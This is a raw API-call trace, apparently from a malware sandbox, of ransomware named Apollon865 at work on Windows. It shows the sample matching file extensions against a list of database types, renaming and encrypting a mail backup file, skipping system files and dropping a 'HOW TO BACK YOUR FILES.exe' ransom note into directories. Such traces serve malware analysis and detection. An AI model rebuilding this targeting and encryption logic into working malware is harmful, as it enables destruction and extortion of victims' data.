	[0060.753] lstrcmpiW (lpString1="pat", lpString2="gdb") returned 1
	[0060.753] lstrlenW (lpString="gdb") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="gdb") returned 1
	[0060.753] lstrlenW (lpString="grdb") returned 4
	[0060.753] lstrcmpiW (lpString1=".pat", lpString2="grdb") returned -1
	[0060.753] lstrlenW (lpString="gwi") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="gwi") returned 1
	[0060.753] lstrlenW (lpString="hdb") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="hdb") returned 1
	[0060.753] lstrlenW (lpString="his") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="his") returned 1
	[0060.753] lstrlenW (lpString="ib") returned 2
	[0060.753] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0060.753] lstrlenW (lpString="idb") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="idb") returned 1
	[0060.753] lstrlenW (lpString="ihx") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="ihx") returned 1
	[0060.753] lstrlenW (lpString="itdb") returned 4
	[0060.753] lstrcmpiW (lpString1=".pat", lpString2="itdb") returned -1
	[0060.753] lstrlenW (lpString="itw") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="itw") returned 1
	[0060.753] lstrlenW (lpString="jet") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="jet") returned 1
	[0060.753] lstrlenW (lpString="jtx") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="jtx") returned 1
	[0060.753] lstrlenW (lpString="kdb") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="kdb") returned 1
	[0060.753] lstrlenW (lpString="kexi") returned 4
	[0060.753] lstrcmpiW (lpString1=".pat", lpString2="kexi") returned -1
	[0060.753] lstrlenW (lpString="kexic") returned 5
	[0060.753] lstrcmpiW (lpString1="l.pat", lpString2="kexic") returned 1
	[0060.753] lstrlenW (lpString="kexis") returned 5
	[0060.754] lstrcmpiW (lpString1="l.pat", lpString2="kexis") returned 1
	[0060.754] lstrlenW (lpString="lgc") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="lgc") returned 1
	[0060.754] lstrlenW (lpString="lwx") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="lwx") returned 1
	[0060.754] lstrlenW (lpString="maf") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="maf") returned 1
	[0060.754] lstrlenW (lpString="maq") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="maq") returned 1
	[0060.754] lstrlenW (lpString="mar") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mar") returned 1
	[0060.754] lstrlenW (lpString="marshal") returned 7
	[0060.754] lstrcmpiW (lpString1="ail.pat", lpString2="marshal") returned -1
	[0060.754] lstrlenW (lpString="mas") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mas") returned 1
	[0060.754] lstrlenW (lpString="mav") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mav") returned 1
	[0060.754] lstrlenW (lpString="maw") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="maw") returned 1
	[0060.754] lstrlenW (lpString="mdbhtml") returned 7
	[0060.754] lstrcmpiW (lpString1="ail.pat", lpString2="mdbhtml") returned -1
	[0060.754] lstrlenW (lpString="mdn") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mdn") returned 1
	[0060.754] lstrlenW (lpString="mdt") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mdt") returned 1
	[0060.754] lstrlenW (lpString="mfd") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mfd") returned 1
	[0060.754] lstrlenW (lpString="mpd") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mpd") returned 1
	[0060.754] lstrlenW (lpString="mrg") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mrg") returned 1
	[0060.754] lstrlenW (lpString="mud") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mud") returned 1
	[0060.754] lstrlenW (lpString="mwb") returned 3
	[0060.754] lstrcmpiW (lpString1="pat", lpString2="mwb") returned 1
	[0060.755] lstrlenW (lpString="myd") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="myd") returned 1
	[0060.755] lstrlenW (lpString="ndf") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="ndf") returned 1
	[0060.755] lstrlenW (lpString="nnt") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="nnt") returned 1
	[0060.755] lstrlenW (lpString="nrmlib") returned 6
	[0060.755] lstrcmpiW (lpString1="il.pat", lpString2="nrmlib") returned -1
	[0060.755] lstrlenW (lpString="ns2") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="ns2") returned 1
	[0060.755] lstrlenW (lpString="ns3") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="ns3") returned 1
	[0060.755] lstrlenW (lpString="ns4") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="ns4") returned 1
	[0060.755] lstrlenW (lpString="nsf") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="nsf") returned 1
	[0060.755] lstrlenW (lpString="nv") returned 2
	[0060.755] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0060.755] lstrlenW (lpString="nv2") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="nv2") returned 1
	[0060.755] lstrlenW (lpString="nwdb") returned 4
	[0060.755] lstrcmpiW (lpString1=".pat", lpString2="nwdb") returned -1
	[0060.755] lstrlenW (lpString="nyf") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="nyf") returned 1
	[0060.755] lstrlenW (lpString="odb") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="odb") returned 1
	[0060.755] lstrlenW (lpString="odb") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="odb") returned 1
	[0060.755] lstrlenW (lpString="oqy") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="oqy") returned 1
	[0060.755] lstrlenW (lpString="ora") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="ora") returned 1
	[0060.755] lstrlenW (lpString="orx") returned 3
	[0060.755] lstrcmpiW (lpString1="pat", lpString2="orx") returned 1
	[0060.756] lstrlenW (lpString="owc") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="owc") returned 1
	[0060.756] lstrlenW (lpString="p96") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="p96") returned 1
	[0060.756] lstrlenW (lpString="p97") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="p97") returned 1
	[0060.756] lstrlenW (lpString="pan") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="pan") returned 1
	[0060.756] lstrlenW (lpString="pdb") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="pdb") returned -1
	[0060.756] lstrlenW (lpString="pdm") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="pdm") returned -1
	[0060.756] lstrlenW (lpString="pnz") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="pnz") returned -1
	[0060.756] lstrlenW (lpString="qry") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="qry") returned -1
	[0060.756] lstrlenW (lpString="qvd") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="qvd") returned -1
	[0060.756] lstrlenW (lpString="rbf") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="rbf") returned -1
	[0060.756] lstrlenW (lpString="rctd") returned 4
	[0060.756] lstrcmpiW (lpString1=".pat", lpString2="rctd") returned -1
	[0060.756] lstrlenW (lpString="rod") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="rod") returned -1
	[0060.756] lstrlenW (lpString="rodx") returned 4
	[0060.756] lstrcmpiW (lpString1=".pat", lpString2="rodx") returned -1
	[0060.756] lstrlenW (lpString="rpd") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="rpd") returned -1
	[0060.756] lstrlenW (lpString="rsd") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="rsd") returned -1
	[0060.756] lstrlenW (lpString="sas7bdat") returned 8
	[0060.756] lstrcmpiW (lpString1="Mail.pat", lpString2="sas7bdat") returned -1
	[0060.756] lstrlenW (lpString="sbf") returned 3
	[0060.756] lstrcmpiW (lpString1="pat", lpString2="sbf") returned -1
	[0060.757] lstrlenW (lpString="scx") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="scx") returned -1
	[0060.757] lstrlenW (lpString="sdb") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="sdb") returned -1
	[0060.757] lstrlenW (lpString="sdc") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="sdc") returned -1
	[0060.757] lstrlenW (lpString="sdf") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="sdf") returned -1
	[0060.757] lstrlenW (lpString="sis") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="sis") returned -1
	[0060.757] lstrlenW (lpString="spq") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="spq") returned -1
	[0060.757] lstrlenW (lpString="te") returned 2
	[0060.757] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0060.757] lstrlenW (lpString="teacher") returned 7
	[0060.757] lstrcmpiW (lpString1="ail.pat", lpString2="teacher") returned -1
	[0060.757] lstrlenW (lpString="tmd") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="tmd") returned -1
	[0060.757] lstrlenW (lpString="tps") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="tps") returned -1
	[0060.757] lstrlenW (lpString="trc") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="trc") returned -1
	[0060.757] lstrlenW (lpString="trc") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="trc") returned -1
	[0060.757] lstrlenW (lpString="trm") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="trm") returned -1
	[0060.757] lstrlenW (lpString="udb") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="udb") returned -1
	[0060.757] lstrlenW (lpString="udl") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="udl") returned -1
	[0060.757] lstrlenW (lpString="usr") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="usr") returned -1
	[0060.757] lstrlenW (lpString="v12") returned 3
	[0060.757] lstrcmpiW (lpString1="pat", lpString2="v12") returned -1
	[0060.757] lstrlenW (lpString="vis") returned 3
	[0060.758] lstrcmpiW (lpString1="pat", lpString2="vis") returned -1
	[0060.758] lstrlenW (lpString="vpd") returned 3
	[0060.758] lstrcmpiW (lpString1="pat", lpString2="vpd") returned -1
	[0060.758] lstrlenW (lpString="vvv") returned 3
	[0060.758] lstrcmpiW (lpString1="pat", lpString2="vvv") returned -1
	[0060.758] lstrlenW (lpString="wdb") returned 3
	[0060.758] lstrcmpiW (lpString1="pat", lpString2="wdb") returned -1
	[0060.758] lstrlenW (lpString="wmdb") returned 4
	[0060.758] lstrcmpiW (lpString1=".pat", lpString2="wmdb") returned -1
	[0060.758] lstrlenW (lpString="wrk") returned 3
	[0060.758] lstrcmpiW (lpString1="pat", lpString2="wrk") returned -1
	[0060.758] lstrlenW (lpString="xdb") returned 3
	[0060.758] lstrcmpiW (lpString1="pat", lpString2="xdb") returned -1
	[0060.758] lstrlenW (lpString="xld") returned 3
	[0060.758] lstrcmpiW (lpString1="pat", lpString2="xld") returned -1
	[0060.758] lstrlenW (lpString="xmlff") returned 5
	[0060.758] lstrcmpiW (lpString1="l.pat", lpString2="xmlff") returned -1
	[0060.758] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.Apollon865") returned 91
	[0060.758] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat.apollon865"), dwFlags=0x1) returned 1
	[0060.759] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0060.759] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=16384) returned 1
	[0060.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0060.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0060.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0060.760] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0060.761] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0060.761] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0060.761] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x14c
	[0060.776] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000
	[0060.780] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0060.781] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0060.781] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0060.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0060.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0060.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0060.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0060.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0060.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0060.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0060.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0060.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0060.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0060.782] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0060.782] CloseHandle (hObject=0x14c) returned 1
	[0060.782] CloseHandle (hObject=0x150) returned 1
	[0060.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0060.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0060.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0060.782] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0060.783] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0060.783] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fcb0
	[0060.783] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player"
	[0060.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0060.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0060.783] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned 53
	[0060.783] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player"
	[0060.783] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.783] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0060.784] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0060.784] GetLastError () returned 0x20
	[0060.784] Sleep (dwMilliseconds=0xc8) 
	[0060.985] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0060.985] GetLastError () returned 0x0
	[0060.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0060.985] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0060.986] CloseHandle (hObject=0x118) returned 1
	[0060.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0060.986] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.986] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ed4b890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ed4b890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.986] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.986] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.986] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.986] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ed4b890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ed4b890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.986] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.986] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.986] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.986] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.986] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e993630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x105300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb.Apollon865", cAlternateFileName="CURREN~1.APO")) returned 1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2=".") returned 1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="..") returned 1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="windows") returned -1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="bootmgr") returned 1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="temp") returned -1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="pagefile.sys") returned -1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="boot") returned 1
	[0060.986] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="ids.txt") returned -1
	[0060.987] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="ntuser.dat") returned -1
	[0060.987] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="perflogs") returned -1
	[0060.987] lstrcmpiW (lpString1="CurrentDatabase_372.wmdb.Apollon865", lpString2="MSBuild") returned -1
	[0060.987] lstrlenW (lpString="CurrentDatabase_372.wmdb.Apollon865") returned 35
	[0060.987] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*") returned 55
	[0060.987] lstrcpyW (in: lpString1=0x119e674, lpString2="CurrentDatabase_372.wmdb.Apollon865" | out: lpString1="CurrentDatabase_372.wmdb.Apollon865") returned="CurrentDatabase_372.wmdb.Apollon865"
	[0060.987] lstrlenW (lpString="CurrentDatabase_372.wmdb.Apollon865") returned 35
	[0060.987] lstrlenW (lpString="Apollon865") returned 10
	[0060.987] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0060.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e96d4d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e96d4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.987] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ed4b890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x11370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb.Apollon865", cAlternateFileName="LOCALM~1.APO")) returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2=".") returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="..") returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="windows") returned -1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="bootmgr") returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="temp") returned -1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="pagefile.sys") returned -1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="boot") returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="ids.txt") returned 1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="ntuser.dat") returned -1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="perflogs") returned -1
	[0060.987] lstrcmpiW (lpString1="LocalMLS_3.wmdb.Apollon865", lpString2="MSBuild") returned -1
	[0060.987] lstrlenW (lpString="LocalMLS_3.wmdb.Apollon865") returned 26
	[0060.987] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.Apollon865") returned 89
	[0060.987] lstrcpyW (in: lpString1=0x119e674, lpString2="LocalMLS_3.wmdb.Apollon865" | out: lpString1="LocalMLS_3.wmdb.Apollon865") returned="LocalMLS_3.wmdb.Apollon865"
	[0060.987] lstrlenW (lpString="LocalMLS_3.wmdb.Apollon865") returned 26
	[0060.987] lstrlenW (lpString="Apollon865") returned 10
	[0060.987] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0060.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
